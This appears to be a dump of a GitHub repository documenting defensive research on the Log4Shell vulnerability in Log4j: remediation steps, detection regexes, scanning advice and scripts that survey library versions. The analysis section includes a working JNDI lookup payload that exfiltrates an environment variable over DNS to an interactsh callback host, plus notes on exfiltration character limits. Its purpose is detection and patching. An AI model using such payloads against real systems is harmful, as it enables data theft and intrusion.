absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Objective 2 | 3 | [![Test detection regex for bypass](https://github.com/righettod/log4shell-analysis/actions/workflows/test-detection-regex-for-bypass.yml/badge.svg?branch=main)](https://github.com/righettod/log4shell-analysis/actions/workflows/test-detection-regex-for-bypass.yml) 4 | 5 | Contains all my research and content produced regarding the [log4shell](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) vulnerability. 6 | 7 | # Content 8 | 9 | ## Folder "analysis" 10 | 11 | Contain the information that I gather about the vulnerability, affected versions, exploitation context/requirements, remediation plan proposal and so on... 12 | 13 | This content is created using [Joplin](https://joplinapp.org/) and then exported as markdown to the **analysis** folder. 14 | 15 | ➡️ [Access to the content](analysis/06-STUDIES/04-Log4Shell_Vulnerability.md). 16 | 17 | 💡 Use the **TOC feature** of Github the navigate in the content (icon on top left): 18 | 19 | ![toc](toc-location.png) 20 | 21 | ## Folder "payloads" 22 | 23 | Contain a collection of [log4shell](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) payloads seen on my twitter feeds. 24 | 25 | The goal is to allows testing detection regexes defined in protection systems against payloads effectively used. 26 | 27 | ➡️ [Access to the content](payloads/README.md). 28 | 29 | ## Folder "playground" 30 | 31 | Contains sample java files used to test my scripts. 32 | 33 | Precisely, contains *log4j-core* instances of the library including ones hidden in WAR/EAR archives as well as nested jars. 34 | 35 | The 6 files are named from `AAlog4j...` to `FFlog4j...` to faciliate the review of the test results. 36 | 37 | ## Folder "sandbox" 38 | 39 | Contains a maven project used to perform testing with the log4j2 library as well as working on protection/detection technical material, like unit test cases. 40 | 41 | It is a [IntelliJ IDEA](https://www.jetbrains.com/idea/download/#section=windows) project. 42 | 43 | ## Folder "scripts" 44 | 45 | > 💡 For Windows target: You can use the **bash** provided by [Git portable for Windows](https://git-scm.com/download/win) to run all the scripts. 46 | 47 | Contains utility script provided to help addressing this vulnerability. 48 | 49 | * [identify-log4j-class-location.sh](scripts/identify-log4j-class-location.sh): Bash script to identify Log4J affected class for CVE-2021-44228 in a collection of EAR/WAR/JAR files. 50 | 51 | ```bash 52 | $ bash identify-log4j-class-location.sh ../playground/ 53 | [+] Searching class 'org/apache/logging/log4j/core/lookup/JndiLookup.class' across '../playground/' folder... 54 | [*] Inspecting file: BBlog4j - core - 2.14.1.jar 55 | [!] Class found in the file '../playground/BBlog4j - core - 2.14.1.jar'. 56 | [+] Try to find the Maven artefact version... 57 | File : ../playground/BBlog4j - core - 2.14.1.jar 58 | Metadata file : META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 59 | Log4J version : 2.14.1 60 | [*] Inspecting file: dom4j-1.1.jar 61 | ... 62 | [!] Inspection finished - Class found! 63 | ``` 64 | 65 | * [identify-tcm-expressions-usage.sh](scripts/identify-tcm-expressions-usage.sh): Bash script to identify code prone to CVE-2021-45046/CVE-2021-45105 in a collection of EAR/WAR/JAR files. 66 | 67 | ℹ️ A release jar file of this [java decompiler](https://github.com/intoolswetrust/jd-cli) must be present in the current folder as well as [java](https://adoptium.net/?variant=openjdk11) (JRE) in the `$PATH`. 68 | 69 | ```bash 70 | $ bash identify-tcm-expressions-usage.sh ../playground/ 71 | [+] Include Log4J artefacts. 72 | [+] Searching for Log4J2 Thread Context Map or Log4J2 Expressions usage across '../playground/' folder... 73 | [*] Inspecting file: BBlog4j - core - 2.14.1.jar 74 | [!] Usage of the Thread Context Map identified in decompiled sources of the jar file '../playground/BBlog4j - core - 2.14.1.jar': 75 | /tmp/jarsrcwork/org/apache/logging/log4j/core/LogEvent.java:7:import org.apache.logging.log4j.ThreadContext; 76 | /tmp/jarsrcwork/org/apache/logging/log4j/core/layout/AbstractJacksonLayout.java:19:import org.apache.logging.log4j.ThreadContext; 77 | ... 78 | [!] Inspection finished - Usage found! 79 | ``` 80 | 81 | ```bash 82 | $ bash identify-tcm-expressions-usage.sh ../playground/ --ignore-log4j2-artefacts 83 | [+] Exclude Log4J artefacts. 84 | [+] Searching for Log4J2 Thread Context Map or Log4J2 Expressions usage across '../playground/' folder... 85 | [V] Inspection finished - No usage found! 86 | ``` 87 | 88 | ## Folder "videos" 89 | 90 | Contains videos of demonstrations and technical tests performed during the analysis. 91 | 92 | # Misc 93 | 94 | A companion tool was developed alongside this analysis to help the defender side: [log4shell-payload-grabber](https://github.com/righettod/log4shell-payload-grabber). 95 | -------------------------------------------------------------------------------- /analysis/06-STUDIES/04-Log4Shell_Vulnerability.md: -------------------------------------------------------------------------------- 1 | # Context 2 | 3 | * [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228): 4 | * Vulnerability identified into Log4J < 2.15.0. 5 | * [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046): 6 | * Vulnerability identified into Log4J < 2.16.0. 7 | * [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105): 8 | * Vulnerability identified into Log4J < 2.17.0. 9 | * [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832): 10 | * Vulnerability identified into Log4J < 2.17.1. 11 | 12 | This content: 13 | * Is created using [Joplin](https://joplinapp.org/) and then exported as markdown. 14 | * Is based on my personal technical tests, searches and understanding of the vulnerability. Therefore, if you see a mistake or a wrong statement then feel free to raise an [issue](https://github.com/righettod/log4shell-analysis/issues) to allow me to fix the mistake and understand why I have made it 🙂 15 | 16 | # Additional information 17 | 18 | * [Log4j overview related software by Nationaal Cyber Security Centrum](https://github.com/NCSC-NL/log4shell/blob/main/software/README.md). 19 | * [log4j-core version available in the maven official repository](https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core). 20 | * [Log4j RCE CVE-2021-44228 Exploitation Detection](https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b). 21 | * [CERT CH - Zero-Day Exploit Targeting Popular Java Library Log4j](https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/). 22 | * [CERT FR advisory about log4shell](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/). 23 | * [Talos Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild](https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html). 24 | 25 | # Publishing location of the analysis 26 | 27 | https://github.com/righettod/log4shell-analysis 28 | 29 | # Action plan proposal to handle the vulnerability 30 | 31 | ## Disclaimer 32 | 33 | ⚠️ It's just a proposal based on my technical experience, it is not a silver bullet or a magic recipe! 34 | 35 | I propose the following approache to decrease the attack/exploitation surface. 36 | 37 | ## Step 1: Block callback/leakeage + artefact cartography 38 | 39 | ℹ️ To be performed in parallel 40 | 41 | * **Infrastructure team:** Ensure that firewall rules defined prevent any app to establish a TCP connection to a public IP or public domain. 42 | * **Infrastructure team:** Ensure that DNS resolution rules defined prevent any app to resolve a external (public) domain or sub domain. 43 | * **Infrastructure team:** Add log4shell signatures in all security devices based on update provided by the associated vendor. 44 | * Proposal: `grep -r --include "*.log" -nwE '\$\{.*?:.*\}' .` 45 | * This regex is [regularly testes against bypasses](https://github.com/righettod/log4shell-analysis/actions/workflows/test-detection-regex-for-bypass.yml). 46 | * **Security team:** Use this [script](https://github.com/righettod/log4shell-analysis/blob/main/scripts/identify-log4j-class-location.sh) to identify occurences of log4j affected JNDI lookup class and, by extension, any occurence of log4j libraries (*log4j-core* at least) across all JAR/WAR/EAR files on systems. 47 | * **Security team**: Identify the usage of the artefact **org.apache.logging.log4j:log4j-core** across all java projects via the maven proxy software installed (Artifactory/Nexus) in the company. 48 | * **Development team:** Identify the usage of the artefact **org.apache.logging.log4j:log4j-core** in any java project via the source code. In addition identify occurence of element in code, via [this set of regexes](#identify-formatmsgnolookups-bypass-exposure-in-source-code), allowing to bypass the protection bring by the parameter `log4j2.formatMsgNoLookups=true`. To complete, identify also any usage of the `printf()` function on a logger in the code because this one is also prone to the bypass (regex for this is hard/error-prone because **printf** function is also part of `System.(out|err)`). 49 | 50 | Help commands for development team - On Windows, replace `grep` by `Select-String -pattern "xxx"` ([Select-String documentation](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string?view=powershell-7.2)): 51 | 52 | ```bash 53 | $ cd $PROJECT_FOLDER 54 | # For Maven based project 55 | $ mvn dependency:tree | grep "org.apache.logging.log4j:log4j-" 56 | [INFO] +- org.apache.logging.log4j:log4j-core:jar:2.14.1:compile 57 | [INFO] | \- org.apache.logging.log4j:log4j-api:jar:2.14.1:compile 58 | # For Gradle based project 59 | $ gradlew dependencies | grep "org.apache.logging.log4j:log4j-" 60 | \--- org.apache.logging.log4j:log4j-core:2.14.1 61 | \--- org.apache.logging.log4j:log4j-api:2.14.1 62 | ``` 63 | 64 | ## Step 2: Patching 65 | 66 | **Security team**: 67 | 68 | Prioritize apps to be patched by order according to their reachability by attackers and provide this order to the development team: 69 | 1. Internet facing. 70 | 2. DMZ 1 / DMZ 2 / DMZ x. 71 | 3. Backend. 72 | 73 | **Development team:** 74 | 75 | * Idealy upgrade to the [last](https://logging.apache.org/log4j/2.x/download.html) version of Log4J (sync all artefacts from GroupID **org.apache.logging.log4j**). 76 | * If not possible **AND** the current version of **Log4J is >= 2.10.0**: Set the JVM parameter `log4j2.noFormatMsgLookup=true`. You still be exposed to the [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046) and to the [CVE-2021-45105](#note-about-exposure-to-dos) (depending on your version for CVE-2021-45105). 77 | * If not possible **AND** the current version of **Log4J is < 2.10.0**: Upgrade is mandatory! 78 | * Add these [security unit tests](https://github.com/righettod/log4shell-analysis/tree/main/sandbox/src/test/java/eu/righettod) to the project test suite to continuously ensure that the version used of log4j is not exposed to log4shell vulnerability: **Run them one at the time in sequence!** 79 | 80 | ## Step 3: Security monitoring 81 | 82 | * **Infrastructure team:** Update regularly log4shell signatures in all security devices based on update provided by the associated vendor. 83 | * **Security team:** Add app logs to the SIEM in order to detect exception raised by JVM during log4shell payload tentative. 84 | * JNDI lookup failed: 85 | * Regex: `(Error\slooking\sup\sJNDI\sresource\s\[.*?\])` 86 | * [Live example](https://regexr.com/6bgak). 87 | * DOS tentative on a version not impacting the main program: 88 | * Regex: `(AppenderLoggingException:\sjava\.lang\.OutOfMemoryError)` 89 | * [Live example](https://regexr.com/6c052). 90 | * DOS tentative on a version not vulnerable: 91 | * Regex (many occurences of the pattern `}}}}}...` ending a large expression): `(\}\}\}\}\}\}\}\}\}\})` 92 | * [Live example](https://regexr.com/6c05b). 93 | * DOS successful tentative on a version vulnerable: 94 | * Regex: `(java\.lang\.OutOfMemoryError:\sJava\sheap\sspace[\n\r\ta-z0-9A-Z\.\s:()<>]+?\(StrSubstitutor\.java)` 95 | * [Live example](https://regexr.com/6c066). 96 | 97 | Overview of the proposed regular expressions: 98 | 99 | ![6f5cc1740684b40d24de1f53c2e8a3c2.png](../_resources/6f5cc1740684b40d24de1f53c2e8a3c2.png) 100 | 101 | ![7d9659e6cd22bcfedcf4cf852945cae8.png](../_resources/7d9659e6cd22bcfedcf4cf852945cae8.png) 102 | 103 | ![090b547c2ee9577d049d5f06a366a255.png](../_resources/090b547c2ee9577d049d5f06a366a255.png) 104 | 105 | ## Important remark regarding vulnerability scanning 106 | 107 | If a vulnerablility scan is launched to detect log4shell exposure then ensure the following properties of the scan: 108 | * Perform a web app scan and not an IP scan. 109 | * Indicate the correct VHOST. 110 | * Indicate the correct Context Path. 111 | * Indicate the correct HTTP methods. 112 | * Indicate the correct Path to the controllers/services. 113 | * Indicate the correct list of parameters. 114 | * Do not forget API: For this use the OpenAPI/WSDL descriptor to ensure that the scanner will know all the services and how to correcty call them. 115 | 116 | This set of properties have for objective to ensure that the scanner will correctly call the endpoints with its log4shell test payloads in all supported parameters (body/header/query string) of the endpoints. 117 | 118 | ⚠️ Monitor your network devices event (firewall/WAF/IPS/...) to catch payloads submitted by the scanner that will trigger the vulnerability but for which **the callback or dns resolution will be blocked**. Otherwise the scan will report that the target is not vulnerable and it will be a false-negative. 119 | 120 | # Content of the initial analysis 121 | 122 | > 📚 Below are the collection of information discovered about this vulnerability and affected versions that was initially shared on the [LinkedIn post](https://www.linkedin.com/posts/righettod_script-to-identify-log4j-affected-class-for-activity-6875328992916852736-s8oX) above 123 | 124 | For a project managed via [maven](https://maven.apache.org/), you can use the following set of command to analyses all the modules dependencies: 125 | 126 | ```bash 127 | $ cd $PROJECT_HOME 128 | # See https://maven.apache.org/plugins/maven-dependency-plugin/copy-dependencies-mojo.html 129 | $ mvn dependency:copy-dependencies 130 | $ bash identify-log4j-class-location.sh $PROJECT_HOME 131 | ``` 132 | 133 | For project managed via [gradle](https://gradle.org/), you can use this [task](https://stackoverflow.com/a/26698161) to perform the `mvn dependency:copy-dependencies` of maven. 134 | 135 | ℹ️ Initial [LinkedIn post](https://www.linkedin.com/posts/righettod_script-to-identify-log4j-affected-class-for-activity-6875328992916852736-s8oX) where I gathered all the information discovered about this vulnerability and affected versions. 136 | 137 | Many prefixes are available: 138 | 139 | ![52f988156938f762866840a2d46ee5d7.png](../_resources/52f988156938f762866840a2d46ee5d7.png) 140 | 141 | Prefixes can be combined: 142 | 143 | ![55b2ba138fb25f77a49f16a38f02456c.png](../_resources/55b2ba138fb25f77a49f16a38f02456c.png) 144 | 145 | In recent version (2.14.1) `spring` and `kubernetes` prefixes were supported. For Kubernetes, access is constrained to the [following information](https://github.com/apache/logging-log4j2/blob/master/log4j-kubernetes/src/main/java/org/apache/logging/log4j/kubernetes/KubernetesLookup.java#L165): 146 | 147 | ![424473a819335c8fb1e18ce048b4af06.png](../_resources/424473a819335c8fb1e18ce048b4af06.png) 148 | 149 | For the record, `lower` and `upper` prefixes were introduced from the version **2.13.0** of `log4j2-core`. So, if an expression use such prefix, like for example `${lower:JNDI}` in version **< 2.13.0** then it will be rendered AS IS: `${lower:JNDI}` 150 | 151 | ![82b95916d5692c64f8668e4adc79a7b2.png](../_resources/82b95916d5692c64f8668e4adc79a7b2.png) 152 | 153 | ![adbfbccf0c51fdc4ca4624730aa176e2.png](../_resources/adbfbccf0c51fdc4ca4624730aa176e2.png) 154 | 155 | Based on [CERT FR documentation](https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/) provided (thanks to [Pierre Dewez](https://www.linkedin.com/in/pdewez/)), I performed a test on the DNS resolution with prefixes combination in a expression for data leakage via DNS because RCE is not the only problem (even if it is the most important one). 156 | 157 | For log4j-core **<= 2.7**, prefixes combination in a expression seems not supported: 158 | 159 | ![18bfb79d74a6b813785b82b55647192a.png](../_resources/18bfb79d74a6b813785b82b55647192a.png) 160 | 161 | For log4j-core **>= 2.8**, prefixes combination in a expression is supported: 162 | 163 | ![4de5250e68f96b02b3814994e8ba43df.png](../_resources/4de5250e68f96b02b3814994e8ba43df.png) 164 | 165 | With the help of [Sébastien Kaiser](https://www.linkedin.com/in/s%C3%A9bastien-kaiser-a1808582/), we achieve to create a little regex to identify log4j expressions: 166 | 167 | ```bash 168 | grep -r --include "*.log" -nwE '\$\{.*?:.*\}' . 169 | ``` 170 | 171 | Attempt to tune to prevent the usage of `.*` failed, we did not achieve to made `grep` accept it. On another side, it catch any log4j expression because they are already many bypass available/published. 172 | 173 | Proposed regex was based on expressions seen in logs as well as the characters used for an expression: 174 | 175 | ![b02d8e797e7097bcf24e5fa2e28407e2.png](../_resources/b02d8e797e7097bcf24e5fa2e28407e2.png) 176 | 177 | Data exfiltration via DNS on recent version of Java (JDK 11/12/15/17) is effective: 178 | 179 | ![f7cb207ba192ba1c8b2a17f163b3ce21.png](../_resources/f7cb207ba192ba1c8b2a17f163b3ce21.png) 180 | 181 | ![0de487df59902062298285c682c8c49d.png](../_resources/0de487df59902062298285c682c8c49d.png) 182 | 183 | ![3100adc4e79b2ce1d375d99ee9be2bab.png](../_resources/3100adc4e79b2ce1d375d99ee9be2bab.png) 184 | 185 | ![7cec2f3c5f772d1e0adda4da08246f83.png](../_resources/7cec2f3c5f772d1e0adda4da08246f83.png) 186 | 187 | Regarding the data exfiltration via DNS, there is a constraint on accepted characters and I did not find a prefix to encode data or a way to use a subset. The last version of log4j-core provide a [Base64 prefix](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Base64StrLookup.java) but it is for decoding and this new prefix [is not present before](https://github.com/apache/logging-log4j2/tree/rel/2.14.1/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup) the **2.5.0**: 188 | 189 | ![be7dfc5206b50cb905251071df33c5d4.png](../_resources/be7dfc5206b50cb905251071df33c5d4.png) 190 | 191 | ![c356976510c54f5452b8c4be28361e44.png](../_resources/c356976510c54f5452b8c4be28361e44.png) 192 | 193 | So based on this to be exfiltrated via DNS, a data must have the format `[0-9A-Za-z\-_]*` because (at least I have not found) there is no easy way to encode/cut/split the data to bypass this constraint. 194 | 195 | Theoretical way to bypass the constraints above (**POC** required): 196 | 197 | ![7f28be35d6aa4538a70b5461f74d3520.png](../_resources/7f28be35d6aa4538a70b5461f74d3520.png) 198 | 199 | ![4a7aba5e6f83ee9ada7b7717846717e8.png](../_resources/4a7aba5e6f83ee9ada7b7717846717e8.png) 200 | 201 | Source: https://twitter.com/0x6772/status/1471204834879672322 202 | 203 | The following exception is raised when a DNS resolution failed, for example, if a not allowed character is used in sub domain name: 204 | 205 | ```text 206 | 2021-12-14 07:58:14,165 main WARN Error looking up JNDI resource [dns://ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com]. javax.naming.ConfigurationException: Unknown DNS server: ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com [Root exception is java.net.UnknownHostException: No such host is known (ab'456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com)]; remaining name '.' 207 | at jdk.naming.dns/com.sun.jndi.dns.DnsClient.(DnsClient.java:130) 208 | at jdk.naming.dns/com.sun.jndi.dns.Resolver.(Resolver.java:61) 209 | at jdk.naming.dns/com.sun.jndi.dns.DnsContext.getResolver(DnsContext.jav 210 | ... 211 | ``` 212 | 213 | When the resolution succeed then the following exception can occur: 214 | 215 | ``` 216 | 2021-12-14 07:57:58,989 main WARN Error looking up JNDI resource [dns://ab-456.c6s40maa89k6h46f3ar0cghrysoyyyyyn.interactsh.com]. javax.naming.CommunicationException: DNS error [Root exception is java.net.SocketTimeoutException: Receive timed out]; remaining name '.' 217 | at jdk.naming.dns/com.sun.jndi.dns.DnsClient.query(DnsClient.java:316) 218 | at jdk.naming.dns/com.sun.jndi.dns.Resolver.query(Resolver.java:81) 219 | at jdk.naming.dns/com.sun.jndi.dns.DnsContext.c_lookup(DnsContext.java:290) 220 | at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542) 221 | at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177) 222 | at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(Generic 223 | ``` 224 | 225 | 226 | So, the following regex can be use to identify injection tentative (failed and some succeed) - [Live Example](https://regexr.com/6bgak): 227 | 228 | ```text 229 | (Error\slooking\sup\sJNDI\sresource\s\[.*?\]) 230 | ``` 231 | 232 | Code for the DNS test - [InteractSH](https://github.com/projectdiscovery/interactsh) Github repository: 233 | 234 | ```java 235 | Logger log = LogManager.getLogger(Sandbox2.class); 236 | System.out.printf("LOG4J2 version: %s\n", log.getClass().getPackage().getImplementationVersion()); 237 | System.out.printf("Java version : %s\n", System.getProperty("java.version")); 238 | //On linux use ${env:USER} 239 | log.info("${jndi:dns://${env:USERNAME}.xxxxx.interactsh.com}"); 240 | ``` 241 | 242 | 243 | # Unit test case for CVE-2021-44228 244 | 245 | The following unit tests suite can be added to a project to continuously *ensure that the version used of log4j-core is not exposed to log4shell vulnerability.* 246 | 247 | [Log4ShellExposureTest.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellExposureTest.java) 248 | 249 | Execution on the unit test against **log4j-core 2.14.1** (vulnerable): 250 | 251 | ![70b4a3fd2f99f1d02481f2acf8813f90.png](../_resources/70b4a3fd2f99f1d02481f2acf8813f90.png) 252 | 253 | Execution on the unit test against **log4j-core 2.16.0** (patched): 254 | 255 | ![a1de449a38ac139e7dfe75905cd0c04d.png](../_resources/a1de449a38ac139e7dfe75905cd0c04d.png) 256 | 257 | # Note about the affected JNDI class presence 258 | 259 | The following script was created to identify, in which jar files of a [complete distribution of Log4J2](https://archive.apache.org/dist/logging/log4j/), the class `org.apache.logging.log4j.core.lookup.JndiLookup` is present: 260 | 261 | ```bash 262 | #!/bin/bash 263 | ######################################################################################################### 264 | # Script to identify Log4J affected class for CVE-2021-44228 in a distribution of LOG4J2 265 | ######################################################################################################### 266 | # See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core 267 | VERSION=$1 268 | TARGET_CLASS_NAME="org/apache/logging/log4j/core/lookup/JndiLookup.class" 269 | DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip" 270 | WORKDIR="/tmp/work" 271 | WORKBIN="/tmp/log4j2.zip" 272 | echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m" 273 | wget -q -O $WORKBIN $DIST_URL 274 | rm -rf $WORKDIR 2>/dev/null 275 | mkdir $WORKDIR 276 | unzip -q -d $WORKDIR $WORKBIN 277 | echo -e "\e[93m[+] Search class '$TARGET_CLASS_NAME' across all jar files...\e[0m" 278 | for lib in $(find $WORKDIR -iname "*.jar") 279 | do 280 | find=$(unzip -l $lib | grep -c "$TARGET_CLASS_NAME") 281 | if [ $find -ne 0 ] 282 | then 283 | echo "'$(basename $lib)' file contains the class." 284 | fi 285 | done 286 | echo -e "\e[93m[+] Cleanup...\e[0m" 287 | rm -rf $WORKDIR 2>/dev/null 288 | rm $WORKBIN 289 | ``` 290 | 291 | Execution against the release **2.14.1**: 292 | 293 | ```bash 294 | $ bash find-jndi-class.sh "2.14.1" 295 | [+] Download and uncompress release 2.14.1 archive... 296 | [+] Search class 'org/apache/logging/log4j/core/lookup/JndiLookup.class' across all jar files... 297 | 'log4j-core-2.14.1.jar' file contains the class. 298 | [+] Cleanup... 299 | ``` 300 | 301 | Execution against **all published releases**: 302 | 303 | *Utility script named test.sh* 304 | 305 | ```bash 306 | #!/bin/bash 307 | while IFS= read -r line 308 | do 309 | bash find-jndi-class.sh $line 310 | done < "versions.txt" 311 | ``` 312 | 313 | *Execution* 314 | 315 | ```bash 316 | # "data.txt" file created using this page html content: 317 | # https://archive.apache.org/dist/logging/log4j/ 318 | $ head -5 data.txt 319 | [DIR] 2.0-alpha1/ 2016-05-30 04:49 - 320 | [DIR] 2.0-alpha2/ 2016-05-30 04:49 - 321 | [DIR] 2.0-beta1/ 2016-05-30 04:49 - 322 | [DIR] 2.0-beta2/ 2016-05-30 04:49 - 323 | [DIR] 2.0-beta3/ 2016-05-30 04:49 - 324 | $ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt 325 | $ head -5 versions.txt 326 | 2.0 327 | 2.0-alpha1 328 | 2.0-alpha2 329 | 2.0-beta1 330 | 2.0-beta2 331 | $ bash test.sh | grep "file contains the class" 332 | 'log4j-core-2.0.jar' file contains the class. 333 | 'log4j-core-2.0-beta9.jar' file contains the class. 334 | 'log4j-core-2.0-rc1.jar' file contains the class. 335 | 'log4j-core-2.0-rc2.jar' file contains the class. 336 | 'log4j-core-2.0.1.jar' file contains the class. 337 | 'log4j-core-2.0.2.jar' file contains the class. 338 | 'log4j-core-2.1.jar' file contains the class. 339 | 'log4j-core-2.10.0.jar' file contains the class. 340 | 'log4j-core-2.11.0.jar' file contains the class. 341 | 'log4j-core-2.11.1.jar' file contains the class. 342 | 'log4j-core-2.11.2.jar' file contains the class. 343 | 'log4j-core-2.12.0.jar' file contains the class. 344 | 'log4j-core-2.12.1.jar' file contains the class. 345 | 'log4j-core-2.12.2.jar' file contains the class. 346 | 'log4j-core-2.13.0.jar' file contains the class. 347 | 'log4j-core-2.13.1.jar' file contains the class. 348 | 'log4j-core-2.13.2.jar' file contains the class. 349 | 'log4j-core-2.13.3.jar' file contains the class. 350 | 'log4j-core-2.14.0.jar' file contains the class. 351 | 'log4j-core-2.14.1.jar' file contains the class. 352 | 'log4j-core-2.15.0.jar' file contains the class. 353 | 'log4j-core-2.16.0.jar' file contains the class. 354 | 'log4j-core-2.2.jar' file contains the class. 355 | 'log4j-core-2.3.jar' file contains the class. 356 | 'log4j-core-2.4.jar' file contains the class. 357 | 'log4j-core-2.4.1.jar' file contains the class. 358 | 'log4j-core-2.5.jar' file contains the class. 359 | 'log4j-core-2.6.jar' file contains the class. 360 | 'log4j-core-2.6.1.jar' file contains the class. 361 | 'log4j-core-2.6.2.jar' file contains the class. 362 | 'log4j-core-2.7.jar' file contains the class. 363 | 'log4j-core-2.8.jar' file contains the class. 364 | 'log4j-core-2.8.1.jar' file contains the class. 365 | 'log4j-core-2.8.2.jar' file contains the class. 366 | 'log4j-core-2.9.0.jar' file contains the class. 367 | 'log4j-core-2.9.1.jar' file contains the class. 368 | ``` 369 | 370 | So, focus can be made on the artifact **org.apache.logging.log4j:log4j-core** when searching for usage of Log4J2 in project source code / maven proxy / projet descriptor (maven, gradle). 371 | 372 | # Note about the security flags 373 | 374 | The following script was created to identify, in which version of Log4j2, the flag `log4j2.formatMsgNoLookups` or `log4j2.enableJndi` were present based on sources provided with [complete distribution of Log4J2](https://archive.apache.org/dist/logging/log4j/): 375 | 376 | ```bash 377 | #!/bin/bash 378 | ######################################################################################################### 379 | # Script to identify Log4J version supporting security flags mentioned in CVE advisory 380 | ######################################################################################################### 381 | # See https://search.maven.org/artifact/org.apache.logging.log4j/log4j-core 382 | VERSION=$1 383 | DIST_URL="https://archive.apache.org/dist/logging/log4j/$VERSION/apache-log4j-$VERSION-bin.zip" 384 | WORKDIR="/tmp/work2" 385 | WORKBIN="/tmp/log4j2-dist.zip" 386 | WORKSRC="/tmp/worksrc" 387 | echo -e "\e[93m[+] Download and uncompress release $VERSION archive...\e[0m" 388 | wget -q -O $WORKBIN $DIST_URL 389 | rm -rf $WORKDIR 2>/dev/null 390 | mkdir $WORKDIR 391 | unzip -q -d $WORKDIR $WORKBIN 392 | echo -e "\e[93m[+] Search flags across all sources files ...\e[0m" 393 | for lib in $(find $WORKDIR -iname "*-sources.jar") 394 | do 395 | rm -rf $WORKSRC 2>/dev/null 396 | mkdir $WORKSRC 397 | unzip -q -d $WORKSRC $lib 398 | # See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L67 399 | find=$(grep -r --include "*.java" "log4j2\.formatMsgNoLookups" $WORKSRC | wc -l) 400 | if [ $find -ne 0 ] 401 | then 402 | echo "'$(basename $lib)' file contains the flag: 'log4j2.formatMsgNoLookups'." 403 | fi 404 | # See https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java#L76 405 | find=$(grep -r --include "*.java" "log4j2\.enableJndi" $WORKSRC | wc -l) 406 | if [ $find -ne 0 ] 407 | then 408 | echo "'$(basename $lib)' file contains the flag: 'log4j2.enableJndi'." 409 | fi 410 | done 411 | echo -e "\e[93m[+] Cleanup...\e[0m" 412 | rm -rf $WORKDIR 2>/dev/null 413 | rm -rf $WORKSRC 2>/dev/null 414 | rm $WORKBIN 415 | ``` 416 | 417 | Execution against **all published releases**: 418 | 419 | *Utility script named test.sh* 420 | 421 | ```bash 422 | #!/bin/bash 423 | while IFS= read -r line 424 | do 425 | bash find-flag.sh $line 426 | done < "versions.txt" 427 | ``` 428 | 429 | *Execution* 430 | 431 | 